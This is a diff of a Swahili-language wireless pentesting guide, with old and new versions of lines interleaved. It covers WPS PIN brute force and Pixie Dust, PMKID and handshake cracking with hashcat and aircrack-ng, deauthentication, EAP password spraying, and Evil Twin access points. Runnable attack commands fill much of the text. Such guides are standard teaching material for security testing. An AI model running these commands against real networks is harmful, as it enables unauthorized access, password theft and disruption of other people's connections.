- **Bully** ni **utekelezaji mpya** wa shambulio la WPS brute force, iliyoandikwa kwa C. Ina faida kadhaa juu ya msimbo wa awali wa reaver: utegemezi mdogo, utendaji bora wa kumbukumbu na cpu, usimamizi sahihi wa endianness, na seti thabiti zaidi ya chaguo.
Shambulio hili linatumia **udhaifu wa WPS PIN**, hasa kufichuliwa kwa tarakimu nne za kwanza na jukumu la tarakimu ya mwisho kama checksum, kurahisisha shambulio la brute-force. Hata hivyo, ulinzi dhidi ya mashambulizi ya brute-force, kama vile **kuzuia anwani za MAC** za washambuliaji wakali, unahitaji **mzunguko wa anwani za MAC** ili kuendelea na shambulio.
Shambulio hili linatumia **udhaifu wa WPS PIN**, hasa kufichuliwa kwa tarakimu nne za kwanza na jukumu la tarakimu ya mwisho kama checksum, na kurahisisha shambulio la brute-force. Hata hivyo, ulinzi dhidi ya mashambulizi ya brute-force, kama vile **kuzuia anwani za MAC** za washambuliaji wenye nguvu, unahitaji **mzunguko wa anwani za MAC** ili kuendelea na shambulio.
Baada ya kupata WPS PIN kwa kutumia zana kama Bully au Reaver, mshambuliaji anaweza kudhibitisha WPA/WPA2 PSK, kuhakikisha **ufikiaji endelevu wa mtandao**.
```bash
@ -207,18 +207,18 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Mbinu hii iliyoboreshwa inalenga WPS PINs kwa kutumia udhaifu unaojulikana:
1. **PINs zilizogunduliwa awali**: Tumia hifadhidata ya PINs zinazojulikana zinazohusishwa na watengenezaji maalum wanaojulikana kutumia WPS PINs sawa. Hifadhidata hii inahusisha octets tatu za kwanza za anwani za MAC na PINs zinazoweza kuwa za watengenezaji hawa.
2. **Mifumo ya Kutengeneza PIN**: Tumia mifumo kama ComputePIN na EasyBox, ambayo inakadiria WPS PINs kulingana na anwani ya MAC ya AP. Mifumo ya Arcadyan inahitaji pia kitambulisho cha kifaa, ikiongeza safu katika mchakato wa kutengeneza PIN.
2. **Mifumo ya Kutengeneza PIN**: Tumia mifumo kama ComputePIN na EasyBox, ambayo inakadiria WPS PINs kulingana na anwani ya MAC ya AP. Mifumo ya Arcadyan pia inahitaji kitambulisho cha kifaa, ikiongeza safu katika mchakato wa kutengeneza PIN.
### WPS Pixie Dust attack
**Dominique Bongard** aligundua kasoro katika baadhi ya Access Points (APs) kuhusiana na uundaji wa misimbo ya siri, inayojulikana kama **nonces** (**E-S1** na **E-S2**). Ikiwa nonces hizi zinaweza kugundulika, kuvunja WPS PIN ya AP inakuwa rahisi. AP inafichua PIN ndani ya msimbo maalum (hash) kuthibitisha kuwa ni halali na sio AP bandia (rogue). Nonces hizi kimsingi ni "funguo" za kufungua "sefu" inayoshikilia WPS PIN. Maelezo zaidi yanaweza kupatikana [hapa](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** aligundua kasoro katika baadhi ya Access Points (APs) kuhusiana na uundaji wa misimbo ya siri, inayojulikana kama **nonces** (**E-S1** na **E-S2**). Ikiwa nonces hizi zinaweza kupatikana, kubomoa WPS PIN ya AP inakuwa rahisi. AP inafichua PIN ndani ya msimbo maalum (hash) kuthibitisha kuwa ni halali na sio AP bandia (rogue). Nonces hizi kimsingi ni "funguo" za kufungua "sefu" inayoshikilia WPS PIN. Zaidi kuhusu hili inaweza kupatikana [hapa](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Kwa maneno rahisi, tatizo ni kwamba baadhi ya APs hazikutumia funguo za kutosha za nasibu kwa ajili ya kuficha PIN wakati wa mchakato wa kuungana. Hii inafanya PIN kuwa hatarini kuweza kukisiwa kutoka nje ya mtandao (offline brute force attack).
Kwa maneno rahisi, tatizo ni kwamba baadhi ya APs hazikutumia funguo za kutosha za nasibu kwa ajili ya kuficha PIN wakati wa mchakato wa kuungana. Hii inafanya PIN kuwa hatarini kubashiriwa kutoka nje ya mtandao (offline brute force attack).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Ikiwa hutaki kubadilisha kifaa kuwa katika hali ya ufuatiliaji, au `reaver` na `bully` zina tatizo fulani, unaweza kujaribu [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Zana hii inaweza kufanya shambulio la Pixie Dust bila ya kuhitaji kubadilisha kuwa katika hali ya ufuatiliaji.
Ikiwa hutaki kubadilisha kifaa kuwa hali ya ufuatiliaji, au `reaver` na `bully` zina tatizo, unaweza kujaribu [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Zana hizi zinaweza kufanya shambulio la Pixie Dust bila ya kuhitaji kubadilisha kuwa hali ya ufuatiliaji.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
@ -235,14 +235,14 @@ Mashambulizi yote yaliyopendekezwa ya WPS yanaweza kufanywa kwa urahisi kwa kutu
![](<../../images/image (219).png>)
- 5 na 6 zinakuwezesha kujaribu **PIN yako ya kawaida** (ikiwa unayo)
- 7 na 8 zinafanya **shambulio la Pixie Dust**
- 7 na 8 zinafanya **shambulizi la Pixie Dust**
- 13 inakuwezesha kujaribu **NULL PIN**
- 11 na 12 zitakusanya **PIN zinazohusiana na AP iliyochaguliwa kutoka kwa hifadhidata zilizopo** na **kuunda** **PIN** zinazowezekana kwa kutumia: ComputePIN, EasyBox na hiari Arcadyan (inapendekezwa, kwa nini isiwe?)
- 9 na 10 zitajaribu **kila PIN inayowezekana**
## **WEP**
Sasa imevunjika na haitumiki siku hizi. Jua tu kwamba _**airgeddon**_ ina chaguo la WEP linaloitwa "All-in-One" kushambulia aina hii ya ulinzi. Zana nyingi zinatoa chaguzi zinazofanana.
Sasa imevunjika na haitumiki. Jua tu kwamba _**airgeddon**_ ina chaguo la WEP linaloitwa "All-in-One" kushambulia aina hii ya ulinzi. Zana nyingi zinatoa chaguzi zinazofanana.
![](<../../images/image (432).png>)
@ -254,15 +254,15 @@ Sasa imevunjika na haitumiki siku hizi. Jua tu kwamba _**airgeddon**_ ina chaguo
### PMKID
Mnamo mwaka wa 2018, **hashcat** [ilifunua](https://hashcat.net/forum/thread-7717.html) njia mpya ya shambulio, ambayo ni ya kipekee kwa sababu inahitaji **pakiti moja tu** na haitahitaji wateja wowote kuunganishwa na AP lengwa—ni mwingiliano tu kati ya mshambuliaji na AP.
Mnamo mwaka wa 2018, **hashcat** [ilifunua](https://hashcat.net/forum/thread-7717.html) njia mpya ya shambulizi, ambayo ni ya kipekee kwa sababu inahitaji **pakiti moja tu** na haitahitaji wateja wowote kuunganishwa na AP lengwa—ni mwingiliano tu kati ya mshambuliaji na AP.
Router nyingi za kisasa zinaongeza **sehemu ya hiari** kwenye **frame ya kwanza ya EAPOL** wakati wa ushirikiano, inayojulikana kama `Robust Security Network`. Hii inajumuisha `PMKID`.
Kama inavyoelezwa katika chapisho la awali, **PMKID** inaundwa kwa kutumia data inayojulikana:
Kama ilivyoelezwa katika chapisho la awali, **PMKID** inaundwa kwa kutumia data inayojulikana:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Kuzingatia kwamba "Jina la PMK" ni thabiti, tunajua BSSID ya AP na kituo, na `PMK` ni sawa na ile kutoka kwa handshake kamili ya njia 4, **hashcat** inaweza kutumia habari hii kuvunja PSK na kurejesha nenosiri!
Kuzingatia kwamba "Jina la PMK" ni thabiti, tunajua BSSID ya AP na kituo, na `PMK` ni sawa na ile kutoka kwa handshake kamili ya hatua 4, **hashcat** inaweza kutumia habari hii kuvunja PSK na kurejesha nenosiri!
Ili **kusanya** habari hii na **bruteforce** kwa ndani nenosiri unaweza kufanya:
```bash
@ -277,7 +277,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
**PMKIDs zilizokamatwa** zitaonyeshwa kwenye **console** na pia **kuhifadhiwa** ndani ya \_ **/tmp/attack.pcap**\_\
Sasa, badilisha kukamata kuwa **hashcat/john** format na uifanye iweze kuvunjwa:
Sasa, badilisha kukamata kuwa **hashcat/john** format na uifanye iweze kufichuliwa:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
@ -295,26 +295,26 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Nimeona kuwa baadhi ya handshakes zilizokamatwa kwa kutumia chombo hiki hazikuweza kufichuliwa hata nikijua nenosiri sahihi. Ningependekeza kukamata handshakes pia kwa njia ya jadi ikiwa inawezekana, au kukamata kadhaa kwa kutumia chombo hiki._
### Kukamata Handshake
### Handshake capture
Shambulio kwenye mitandao ya **WPA/WPA2** linaweza kutekelezwa kwa kukamata **handshake** na kujaribu **kufichua** nenosiri **bila mtandao**. Mchakato huu unahusisha kufuatilia mawasiliano ya mtandao maalum na **BSSID** kwenye **channel** fulani. Hapa kuna mwongozo wa haraka:
Shambulio kwenye **WPA/WPA2** mitandao linaweza kutekelezwa kwa kukamata **handshake** na kujaribu **kufichua** nenosiri **offline**. Mchakato huu unahusisha kufuatilia mawasiliano ya mtandao maalum na **BSSID** kwenye **channel** fulani. Hapa kuna mwongozo wa haraka:
1. Tambua **BSSID**, **channel**, na **mteja aliyeunganishwa** wa mtandao wa lengo.
2. Tumia `airodump-ng` kufuatilia trafiki ya mtandao kwenye channel na BSSID zilizotajwa, ukitumaini kukamata handshake. Amri itakuwa kama hii:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Kuongeza nafasi ya kukamata handshake, katisha mteja kutoka kwenye mtandao kwa muda ili kulazimisha re-authentication. Hii inaweza kufanywa kwa kutumia amri ya `aireplay-ng`, ambayo inatuma pakiti za deauthentication kwa mteja:
3. Kuongeza nafasi ya kukamata handshake, katisha mteja kwa muda kutoka kwenye mtandao ili kulazimisha uthibitishaji upya. Hii inaweza kufanywa kwa kutumia amri ya `aireplay-ng`, ambayo inatuma pakiti za deauthentication kwa mteja:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Note kwamba wakati mteja alikosewa uthibitisho anaweza kujaribu kuungana na AP tofauti au, katika hali nyingine, na mtandao tofauti._
_Kumbuka kwamba mteja alipoondolewa uthibitisho anaweza kujaribu kuungana na AP tofauti au, katika hali nyingine, na mtandao tofauti._
Mara tu katika `airodump-ng` inapoonekana taarifa za handshake hii inamaanisha kwamba handshake ilikamatwa na unaweza kusitisha kusikiliza:
Mara tu `airodump-ng` inapokuwa na taarifa za handshake hii inamaanisha kwamba handshake imekamatwa na unaweza kusitisha kusikiliza:
![](<../../images/image (172) (1).png>)
Mara handshake ikikamatwa unaweza **crack** hiyo na `aircrack-ng`:
Mara handshake inapokamatwa unaweza **crack** hiyo na `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
@ -346,13 +346,13 @@ Katika **mipangilio ya WiFi ya biashara, utapata njia mbalimbali za uthibitishaj
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Njia hii inasaidia token za vifaa na nywila za muda mmoja ndani ya EAP-PEAP. Tofauti na MSCHAPv2, haitumii changamoto ya rika na inatuma nywila kwa maandiko wazi kwa kituo cha ufikiaji, ikileta hatari ya mashambulizi ya kupunguza kiwango.
- Njia hii inasaidia token za vifaa na nywila za wakati mmoja ndani ya EAP-PEAP. Tofauti na MSCHAPv2, haitumii changamoto ya rika na inatuma nywila kwa maandiko wazi kwa kituo cha ufikiaji, ikileta hatari ya mashambulizi ya kupunguza kiwango.
2. **EAP-MD5 (Message Digest 5)**:
- Inahusisha kutuma hash ya MD5 ya nywila kutoka kwa mteja. **Haipendekezwi** kutokana na udhaifu wa mashambulizi ya kamusi, ukosefu wa uthibitisho wa seva, na kutoweza kuunda funguo za WEP za kikao maalum.
3. **EAP-TLS (Transport Layer Security)**:
- Inatumia vyeti vya upande wa mteja na upande wa seva kwa uthibitisho na inaweza kuunda kwa dinamik user-based na session-based WEP keys kwa ajili ya kulinda mawasiliano.
- Inatumia vyeti vya upande wa mteja na upande wa seva kwa uthibitisho na inaweza kuunda kwa dinamikki funguo za WEP za msingi wa mtumiaji na za kikao kwa ajili ya kulinda mawasiliano.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
- Inatoa uthibitisho wa pamoja kupitia handaki iliyofichwa, pamoja na njia ya kupata funguo za WEP za dinamik, kwa kila mtumiaji, kwa kila kikao. Inahitaji vyeti vya upande wa seva pekee, huku wateja wakitumia akidi.
- Inatoa uthibitisho wa pamoja kupitia handaki iliyofichwa, pamoja na njia ya kupata funguo za WEP za dinamikki, kwa mtumiaji, kwa kikao. Inahitaji tu vyeti vya upande wa seva, huku wateja wakitumia akidi.
5. **PEAP (Protected Extensible Authentication Protocol)**:
- Inafanya kazi kwa njia sawa na EAP kwa kuunda handaki ya TLS kwa mawasiliano yaliyolindwa. Inaruhusu matumizi ya itifaki dhaifu za uthibitisho juu ya EAP kutokana na ulinzi unaotolewa na handaki.
- **PEAP-MSCHAPv2**: Mara nyingi inajulikana kama PEAP, inachanganya mfumo wa changamoto/jibu wa MSCHAPv2 ulio hatarini na handaki ya TLS ya kulinda.
@ -365,35 +365,35 @@ Unaweza kupata maelezo zaidi kuhusu hizi mbinu za uthibitisho [hapa](https://en.
Kusoma [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) inaonekana kama unatumia **EAP** ujumbe wa **"Identity"** lazima uwe **unasaidiwa**, na **jina la mtumiaji** litatumwa kwa **wazi** katika ujumbe wa **"Response Identity"**.
Hata ukitumia moja ya mbinu za uthibitisho salama zaidi: **PEAP-EAP-TLS**, inawezekana **kukamata jina la mtumiaji lililotumwa katika itifaki ya EAP**. Ili kufanya hivyo, **kamateni mawasiliano ya uthibitisho** (anzisha `airodump-ng` ndani ya channel na `wireshark` katika interface hiyo hiyo) na chujio pakiti kwa `eapol`.\
Ndani ya pakiti ya "**Response, Identity**", jina la mtumiaji la mteja litajitokeza.
Ndani ya pakiti ya "**Response, Identity**", **jina la mtumiaji** la mteja litajitokeza.
![](<../../images/image (850).png>)
### Anonymous Identities
Kuficha utambulisho kunasaidiwa na EAP-PEAP na EAP-TTLS. Katika muktadha wa mtandao wa WiFi, ombi la EAP-Identity kwa kawaida huanzishwa na kituo cha ufikiaji (AP) wakati wa mchakato wa ushirikiano. Ili kuhakikisha ulinzi wa kutotambulika kwa mtumiaji, jibu kutoka kwa mteja wa EAP kwenye kifaa cha mtumiaji kina taarifa muhimu pekee zinazohitajika kwa seva ya RADIUS ya awali kushughulikia ombi. Dhana hii inaonyeshwa kupitia hali zifuatazo:
Kuficha utambulisho kunasaidiwa na EAP-PEAP na EAP-TTLS. Katika muktadha wa mtandao wa WiFi, ombi la EAP-Identity kwa kawaida huanzishwa na kituo cha ufikiaji (AP) wakati wa mchakato wa ushirikiano. Ili kuhakikisha ulinzi wa kutotambulika kwa mtumiaji, jibu kutoka kwa mteja wa EAP kwenye kifaa cha mtumiaji kina taarifa muhimu tu zinazohitajika kwa seva ya RADIUS ya awali kushughulikia ombi. Dhana hii inaonyeshwa kupitia hali zifuatazo:
- EAP-Identity = anonymous
- Katika hali hii, watumiaji wote wanatumia "anonymous" kama kitambulisho chao cha mtumiaji. Seva ya RADIUS ya awali inafanya kazi kama seva ya EAP-PEAP au EAP-TTLS, inayohusika na usimamizi wa upande wa seva wa itifaki ya PEAP au TTLS. Njia ya uthibitisho ya ndani (iliyolindwa) inashughulikiwa kwa ndani au kupelekwa kwa seva ya RADIUS ya mbali (nyumbani).
- EAP-Identity = anonymous@realm_x
- Katika hali hii, watumiaji kutoka maeneo tofauti wanaficha utambulisho wao huku wakionyesha maeneo yao husika. Hii inaruhusu seva ya RADIUS ya awali kupeleka maombi ya EAP-PEAP au EAP-TTLS kwa seva za RADIUS katika maeneo yao ya nyumbani, ambazo zinafanya kazi kama seva ya PEAP au TTLS. Seva ya RADIUS ya awali inafanya kazi kama node ya relay ya RADIUS pekee.
- Vinginevyo, seva ya RADIUS ya awali inaweza kufanya kazi kama seva ya EAP-PEAP au EAP-TTLS na ama kushughulikia njia ya uthibitisho iliyolindwa au kupeleka kwa seva nyingine. Chaguo hili linasaidia usanidi wa sera tofauti kwa maeneo mbalimbali.
- Vinginevyo, seva ya RADIUS ya awali inaweza kufanya kazi kama seva ya EAP-PEAP au EAP-TTLS na ama kushughulikia njia ya uthibitisho iliyolindwa au kupeleka kwa seva nyingine. Chaguo hili linawezesha usanidi wa sera tofauti kwa maeneo mbalimbali.
Katika EAP-PEAP, mara handaki ya TLS inapoundwa kati ya seva ya PEAP na mteja wa PEAP, seva ya PEAP inaanzisha ombi la EAP-Identity na kulipitisha kupitia handaki ya TLS. Mteja anajibu ombi hili la pili la EAP-Identity kwa kutuma jibu la EAP-Identity linalojumuisha utambulisho wa kweli wa mtumiaji kupitia handaki iliyofichwa. Njia hii inazuia kwa ufanisi kufichuliwa kwa utambulisho halisi wa mtumiaji kwa yeyote anayesikiliza trafiki ya 802.11.
EAP-TTLS inafuata utaratibu tofauti kidogo. Kwa EAP-TTLS, mteja kwa kawaida hujithibitisha kwa kutumia PAP au CHAP, iliyolindwa na handaki ya TLS. Katika kesi hii, mteja anajumuisha sifa ya User-Name na ama sifa ya Password au CHAP-Password katika ujumbe wa awali wa TLS uliopelekwa baada ya kuanzishwa kwa handaki.
EAP-TTLS inafuata utaratibu kidogo tofauti. Kwa EAP-TTLS, mteja kwa kawaida hujithibitisha kwa kutumia PAP au CHAP, iliyolindwa na handaki ya TLS. Katika kesi hii, mteja anajumuisha sifa ya User-Name na ama sifa ya Password au CHAP-Password katika ujumbe wa awali wa TLS uliopelekwa baada ya kuanzishwa kwa handaki.
Bila kujali itifaki iliyochaguliwa, seva ya PEAP/TTLS inapata maarifa ya utambulisho wa kweli wa mtumiaji baada ya kuanzishwa kwa handaki ya TLS. Utambulisho wa kweli unaweza kuwakilishwa kama user@realm au kwa urahisi user. Ikiwa seva ya PEAP/TTLS pia inawajibika kwa uthibitishaji wa mtumiaji, sasa ina utambulisho wa mtumiaji na inaendelea na njia ya uthibitisho iliyolindwa na handaki ya TLS. Vinginevyo, seva ya PEAP/TTLS inaweza kupeleka ombi jipya la RADIUS kwa seva ya RADIUS ya nyumbani ya mtumiaji. Ombi hili jipya la RADIUS halijumuishi safu ya itifaki ya PEAP au TTLS. Katika kesi ambapo njia ya uthibitisho iliyolindwa ni EAP, ujumbe wa EAP wa ndani unapelekwa kwa seva ya RADIUS ya nyumbani bila kifuniko cha EAP-PEAP au EAP-TTLS. Sifa ya User-Name ya ujumbe wa RADIUS unaotoka ina utambulisho wa kweli wa mtumiaji, ikibadilisha User-Name isiyojulikana kutoka kwa ombi la RADIUS linalokuja. Wakati njia ya uthibitisho iliyolindwa ni PAP au CHAP (inayosaidiwa tu na TTLS), sifa ya User-Name na sifa nyingine za uthibitisho zilizopatikana kutoka kwa mzigo wa TLS zinabadilishwa katika ujumbe wa RADIUS unaotoka, zikiondoa User-Name isiyojulikana na sifa za TTLS EAP-Message zilizopatikana katika ombi la RADIUS linalokuja.
Bila kujali itifaki iliyochaguliwa, seva ya PEAP/TTLS inapata maarifa ya utambulisho wa kweli wa mtumiaji baada ya handaki ya TLS kuanzishwa. Utambulisho wa kweli unaweza kuwakilishwa kama user@realm au kwa urahisi user. Ikiwa seva ya PEAP/TTLS pia inawajibika kwa uthibitisho wa mtumiaji, sasa ina utambulisho wa mtumiaji na inaendelea na njia ya uthibitisho iliyolindwa na handaki ya TLS. Vinginevyo, seva ya PEAP/TTLS inaweza kupeleka ombi jipya la RADIUS kwa seva ya RADIUS ya nyumbani ya mtumiaji. Ombi hili jipya la RADIUS halijumuishi safu ya itifaki ya PEAP au TTLS. Katika hali ambapo njia ya uthibitisho iliyolindwa ni EAP, ujumbe wa EAP wa ndani unapelekwa kwa seva ya RADIUS ya nyumbani bila kifuniko cha EAP-PEAP au EAP-TTLS. Sifa ya User-Name ya ujumbe wa RADIUS unaotoka ina utambulisho wa kweli wa mtumiaji, ikibadilisha User-Name isiyojulikana kutoka kwa ombi la RADIUS linalokuja. Wakati njia ya uthibitisho iliyolindwa ni PAP au CHAP (inayosaidiwa tu na TTLS), sifa ya User-Name na sifa nyingine za uthibitisho zilizopatikana kutoka kwa mzigo wa TLS zinabadilishwa katika ujumbe wa RADIUS unaotoka, zikiondoa User-Name isiyojulikana na sifa za TTLS EAP-Message zilizopatikana katika ombi la RADIUS linalokuja.
Kwa maelezo zaidi angalia [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
Ikiwa mteja anatarajiwa kutumia **jina la mtumiaji na nywila** (zingatia kwamba **EAP-TLS haitakuwa halali** katika kesi hii), basi unaweza kujaribu kupata **orodha** ya **majina ya watumiaji** (angalia sehemu inayofuata) na **nywila** na kujaribu **kudhulumu** ufikiaji kwa kutumia [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
Ikiwa mteja anatarajiwa kutumia **jina la mtumiaji na nywila** (kumbuka kwamba **EAP-TLS haitakuwa halali** katika kesi hii), basi unaweza kujaribu kupata **orodha** ya **majina ya watumiaji** (angalia sehemu inayofuata) na **nywila** na kujaribu **kufanya bruteforce** ufikiaji kwa kutumia [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Unaweza pia kufanya shambulio hili kwa kutumia `eaphammer`:
Unaweza pia kufanya shambulio hili ukitumia `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -405,26 +405,26 @@ Unaweza pia kufanya shambulio hili kwa kutumia `eaphammer`:
### Network Selection and Roaming
- Protokali ya 802.11 inaelezea jinsi kituo kinajiunga na Seti ya Huduma Iliyoongezwa (ESS) lakini haijabainisha vigezo vya kuchagua ESS au kituo cha ufikiaji (AP) ndani yake.
- Vituo vinaweza kuhamahama kati ya APs zinazoshiriki ESSID sawa, kudumisha muunganisho katika jengo au eneo.
- Protokali inahitaji uthibitisho wa kituo kwa ESS lakini haijalazimisha uthibitisho wa AP kwa kituo.
- Itifaki ya 802.11 inaelezea jinsi kituo kinajiunga na Seti ya Huduma Iliyoongezwa (ESS) lakini haifafanui vigezo vya kuchagua ESS au kituo cha ufikiaji (AP) ndani yake.
- Vituo vinaweza kuhamahama kati ya APs zinazoshea ESSID sawa, kudumisha muunganisho katika jengo au eneo.
- Itifaki inahitaji uthibitisho wa kituo kwa ESS lakini haijapanga uthibitisho wa AP kwa kituo.
### Preferred Network Lists (PNLs)
- Vituo vinaweka ESSID ya kila mtandao wa wireless wanaounganisha katika Orodha yao ya Mtandao wa Kipaumbele (PNL), pamoja na maelezo maalum ya usanidi wa mtandao.
- PNL inatumika kuunganishwa kiotomatiki na mitandao inayojulikana, kuboresha uzoefu wa mtumiaji kwa kurahisisha mchakato wa muunganisho.
- PNL inatumika kuunganishwa kiotomatiki na mitandao inayojulikana, kuboresha uzoefu wa mtumiaji kwa kuboresha mchakato wa muunganisho.
### Passive Scanning
- APs huangaza mara kwa mara fremu za beacon, kutangaza uwepo wao na sifa, ikiwa ni pamoja na ESSID ya AP isipokuwa matangazo yamezimwa.
- Wakati wa skanning ya passively, vituo husikiliza fremu za beacon. Ikiwa ESSID ya beacon inalingana na kipengee katika PNL ya kituo, kituo kinaweza kuunganishwa kiotomatiki na AP hiyo.
- APs kwa muda fulani hutangaza fremu za beacon, zikitangaza uwepo na sifa zao, ikiwa ni pamoja na ESSID ya AP isipokuwa matangazo yamezimwa.
- Wakati wa skanning ya passively, vituo vinakusikiliza kwa fremu za beacon. Ikiwa ESSID ya beacon inalingana na kipengee katika PNL ya kituo, kituo kinaweza kuunganishwa kiotomatiki na AP hiyo.
- Ufahamu wa PNL ya kifaa unaruhusu uwezekano wa unyakuzi kwa kuiga ESSID ya mtandao unaojulikana, kumdanganya kifaa kuunganishwa na AP mbaya.
### Active Probing
- Utafutaji wa kazi unahusisha vituo kutuma maombi ya uchunguzi kugundua APs za karibu na sifa zao.
- Maombi ya uchunguzi yaliyolengwa yanaelekeza ESSID maalum, kusaidia kugundua ikiwa mtandao fulani uko ndani ya upeo, hata kama ni mtandao uliofichwa.
- Maombi ya uchunguzi ya matangazo yana uwanja wa SSID wa sifuri na yanatumwa kwa APs zote za karibu, ikiruhusu kituo kuangalia mtandao wowote wa kipaumbele bila kufichua maudhui ya PNL yake.
- Utafutaji wa kazi unahusisha vituo kutuma maombi ya utafutaji ili kugundua APs za karibu na sifa zao.
- Maombi ya utafutaji yaliyolengwa yanaelekeza ESSID maalum, kusaidia kugundua ikiwa mtandao fulani uko ndani ya upeo, hata kama ni mtandao uliofichwa.
- Maombi ya utafutaji ya matangazo yana uwanja wa SSID wa sifuri na yanatumwa kwa APs zote za karibu, ikiruhusu kituo kuangalia mtandao wowote wa kipaumbele bila kufichua maudhui ya PNL yake.
## Simple AP with redirection to Internet
@ -436,7 +436,7 @@ Kwa kutumia `ifconfig -a` angalia kwamba kiolesura cha wlan cha kuunda AP na kio
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
Tengeneza faili ya usanidi `/etc/dnsmasq.conf`:
Tengeneza faili la usanidi `/etc/dnsmasq.conf`:
```ini
interface=wlan0
dhcp-authoritative
@ -461,7 +461,7 @@ dnsmasq -C dnsmasq.conf -d
```bash
apt-get install hostapd
```
Tengeneza faili ya config `hostapd.conf`:
Tengeneza faili la config `hostapd.conf`:
```ini
interface=wlan0
driver=nl80211
@ -494,17 +494,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Shambulio la ndugu mbaya linatumia jinsi wateja wa WiFi wanavyotambua mitandao, hasa kwa kutegemea jina la mtandao (ESSID) bila kuhitaji kituo cha msingi (nukta ya ufikiaji) kujithibitisha kwa mteja. Vidokezo muhimu ni:
Shambulio la evil twin linatumia njia ambavyo wateja wa WiFi wanatambua mitandao, hasa kwa kutegemea jina la mtandao (ESSID) bila kuhitaji kituo cha msingi (access point) kujithibitisha kwa mteja. Vidokezo muhimu ni:
- **Ugumu wa Kutofautisha**: Vifaa vinakumbana na changamoto ya kutofautisha kati ya vituo halali na vya udanganyifu wanaposhiriki ESSID na aina ya usimbaji sawa. Mitandao halisi mara nyingi hutumia vituo vingi vyenye ESSID sawa ili kuongeza eneo la kufunika bila mshono.
- **Kuhamahama kwa Wateja na Manipulering ya Muunganisho**: Itifaki ya 802.11 inaruhusu vifaa kuhamahama kati ya vituo ndani ya ESS moja. Washambuliaji wanaweza kutumia hii kwa kuwavutia vifaa kuacha kituo chao cha msingi na kuunganishwa na kituo cha udanganyifu. Hii inaweza kufanywa kwa kutoa ishara yenye nguvu zaidi au kuharibu muunganisho na kituo halali kupitia mbinu kama vile pakiti za kuondoa uthibitisho au kuzuia.
- **Changamoto katika Utekelezaji**: Kutekeleza shambulio la ndugu mbaya kwa mafanikio katika mazingira yenye vituo vingi vilivyowekwa vizuri kunaweza kuwa changamoto. Kuondoa uthibitisho wa kituo kimoja halali mara nyingi husababisha kifaa kuunganishwa na kituo kingine halali isipokuwa mshambuliaji anaweza kuondoa uthibitisho wa vituo vyote vya karibu au kuweka kwa mkakati kituo cha udanganyifu.
- **Ugumu wa Kutofautisha**: Vifaa vinakumbana na changamoto kutofautisha kati ya vituo halali na vya udanganyifu wanaposhiriki ESSID na aina ya usimbaji sawa. Mitandao halisi mara nyingi hutumia vituo vingi vyenye ESSID sawa ili kupanua eneo la kufunika bila mshono.
- **Kuhamahama kwa Wateja na Manipulasi ya Muunganisho**: Itifaki ya 802.11 inaruhusu vifaa kuhamahama kati ya vituo ndani ya ESS moja. Washambuliaji wanaweza kutumia hii kwa kuvutia kifaa kuacha kuunganishwa na kituo chake cha msingi na kuunganishwa na kituo cha udanganyifu. Hii inaweza kufanywa kwa kutoa ishara yenye nguvu zaidi au kuharibu muunganisho na kituo halali kupitia mbinu kama vile pakiti za deauthentication au kuzuia.
- **Changamoto katika Utekelezaji**: Kutekeleza shambulio la evil twin kwa mafanikio katika mazingira yenye vituo vingi vilivyowekwa vizuri kunaweza kuwa changamoto. Kuondoa uthibitisho wa kituo kimoja halali mara nyingi husababisha kifaa kuunganishwa na kituo kingine halali isipokuwa mshambuliaji anaweza kuondoa uthibitisho wa vituo vyote vya karibu au kuweka kituo cha udanganyifu kwa mkakati.
Unaweza kuunda Open Evil Twin ya msingi sana (bila uwezo wa kuelekeza trafiki kwenye Mtandao) kwa kufanya:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Unaweza pia kuunda Evil Twin ukitumia **eaphammer** (zingatia kwamba ili kuunda evil twins na eaphammer, kiolesura **hakipaswi kuwa** katika hali ya **monitor**):
Unaweza pia kuunda Evil Twin ukitumia **eaphammer** (zingatia kwamba ili kuunda evil twins na eaphammer, kiolesura **hakinabudi kuwa** katika hali ya **monitor**):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
